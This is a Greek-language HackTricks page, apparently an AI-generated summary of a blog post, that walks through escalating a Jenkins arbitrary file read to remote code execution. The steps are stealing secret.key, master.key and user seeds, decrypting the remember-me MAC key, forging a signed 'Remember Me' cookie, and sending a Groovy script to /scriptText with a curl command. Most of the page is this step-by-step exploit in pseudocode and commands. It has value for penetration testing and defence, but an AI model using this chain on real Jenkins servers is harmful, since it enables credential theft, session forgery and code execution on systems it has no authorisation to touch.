Jenkins Arbitrary File Read to RCE via “Remember Me”
Tip
Μάθετε & εξασκηθείτε στο AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Μάθετε & εξασκηθείτε στο GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Μάθετε & εξασκηθείτε στο Az Hacking:HackTricks Training Azure Red Team Expert (AzRTE)
Υποστηρίξτε το HackTricks
- Δείτε τα subscription plans!
- Εγγραφείτε στο 💬 Discord group ή την telegram group ή ακολουθήστε μας στο Twitter 🐦 @hacktricks_live.
- Μοιραστείτε τα hacking tricks υποβάλλοντας PRs στα HackTricks και HackTricks Cloud github repos.
Σε αυτή την ανάρτηση του blog είναι δυνατή η εύρεση ενός εξαιρετικού τρόπου για να μετατραπεί μια ευπάθεια Local File Inclusion στο Jenkins σε RCE: https://blog.securelayer7.net/spring-cloud-skipper-vulnerability/
Αυτό είναι ένα AI δημιουργημένο σύνοψη του μέρους της ανάρτησης όπου η δημιουργία ενός αυθαίρετου cookie κακοποιείται για να αποκτήσει RCE εκμεταλλευόμενη μια τοπική ανάγνωση αρχείου μέχρι να έχω χρόνο να δημιουργήσω μια σύνοψη μόνος μου:
Προαπαιτούμενα Επίθεσης
- Απαιτούμενη Λειτουργία: Το “Remember me” πρέπει να είναι ενεργοποιημένο (προεπιλεγμένη ρύθμιση).
- Επίπεδα Πρόσβασης: Ο επιτιθέμενος χρειάζεται συνολικές/αναγνωστικές άδειες.
- Μυστική Πρόσβαση: Ικανότητα ανάγνωσης τόσο δυαδικού όσο και κειμενικού περιεχομένου από βασικά αρχεία.
Λεπτομερής Διαδικασία Εκμετάλλευσης
Βήμα 1: Συλλογή Δεδομένων
Ανάκτηση Πληροφοριών Χρήστη
- Πρόσβαση στη διαμόρφωση χρήστη και τα μυστικά από
$JENKINS_HOME/users/*.xmlγια κάθε χρήστη για να συγκεντρωθούν: - Όνομα Χρήστη
- Seed Χρήστη
- Χρονική Σημείωση
- Hash Κωδικού
Εξαγωγή Μυστικού Κλειδιού
- Εξαγωγή κρυπτογραφικών κλειδιών που χρησιμοποιούνται για την υπογραφή του cookie:
- Μυστικό Κλειδί:
$JENKINS_HOME/secret.key - Κύριο Κλειδί:
$JENKINS_HOME/secrets/master.key - Αρχείο Κλειδιού MAC:
$JENKINS_HOME/secrets/org.springframework.security.web.authentication.rememberme.TokenBasedRememberMeServices.mac
Βήμα 2: Δημιουργία Cookie
Προετοιμασία Token
- Υπολογισμός Χρόνου Λήξης Token:
tokenExpiryTime = currentServerTimeInMillis() + 3600000 // Προσθέτει μία ώρα στην τρέχουσα ώρα
- Συγκέντρωση Δεδομένων για το Token:
token = username + ":" + tokenExpiryTime + ":" + userSeed + ":" + secretKey
Αποκρυπτογράφηση Κλειδιού MAC
- Αποκρυπτογράφηση Αρχείου Κλειδιού MAC:
key = toAes128Key(masterKey) // Μετατροπή του κύριου κλειδιού σε μορφή AES128
decrypted = AES.decrypt(macFile, key) // Αποκρυπτογράφηση του αρχείου .mac
if not decrypted.hasSuffix("::::MAGIC::::")
return ERROR;
macKey = decrypted.withoutSuffix("::::MAGIC::::")
Υπολογισμός Υπογραφής
- Υπολογισμός HMAC SHA256:
mac = HmacSHA256(token, macKey) // Υπολογισμός HMAC χρησιμοποιώντας το token και το κλειδί MAC
tokenSignature = bytesToHexString(mac) // Μετατροπή του MAC σε δεκαεξαδική συμβολοσειρά
Κωδικοποίηση Cookie
- Δημιουργία Τελικού Cookie:
cookie = base64.encode(
username + ":" + tokenExpiryTime + ":" + tokenSignature
) // Κωδικοποίηση Base64 των δεδομένων cookie
Βήμα 3: Εκτέλεση Κώδικα
Αυθεντικοποίηση Συνεδρίας
- Ανάκτηση CSRF και Συνεδριακών Tokens:
- Κάντε ένα αίτημα στο
/crumbIssuer/api/jsonγια να αποκτήσετεJenkins-Crumb. - Συλλέξτε το
JSESSIONIDαπό την απάντηση, το οποίο θα χρησιμοποιηθεί σε συνδυασμό με το cookie “remember-me”.
Αίτημα Εκτέλεσης Εντολής
- Αποστολή POST Αιτήματος με Groovy Script:
curl -X POST "$JENKINS_URL/scriptText" \
--cookie "remember-me=$REMEMBER_ME_COOKIE; JSESSIONID...=$JSESSIONID" \
--header "Jenkins-Crumb: $CRUMB" \
--header "Content-Type: application/x-www-form-urlencoded" \
--data-urlencode "script=$SCRIPT"
- Το Groovy script μπορεί να χρησιμοποιηθεί για την εκτέλεση εντολών σε επίπεδο συστήματος ή άλλων λειτουργιών μέσα στο περιβάλλον Jenkins.
Η παραδείγματος curl εντολή που παρέχεται δείχνει πώς να κάνετε ένα αίτημα στο Jenkins με τις απαραίτητες κεφαλίδες και cookies για να εκτελέσετε αυθαίρετο κώδικα με ασφάλεια.
Tip
Μάθετε & εξασκηθείτε στο AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Μάθετε & εξασκηθείτε στο GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Μάθετε & εξασκηθείτε στο Az Hacking:HackTricks Training Azure Red Team Expert (AzRTE)
Υποστηρίξτε το HackTricks
- Δείτε τα subscription plans!
- Εγγραφείτε στο 💬 Discord group ή την telegram group ή ακολουθήστε μας στο Twitter 🐦 @hacktricks_live.
- Μοιραστείτε τα hacking tricks υποβάλλοντας PRs στα HackTricks και HackTricks Cloud github repos.
HackTricks Cloud

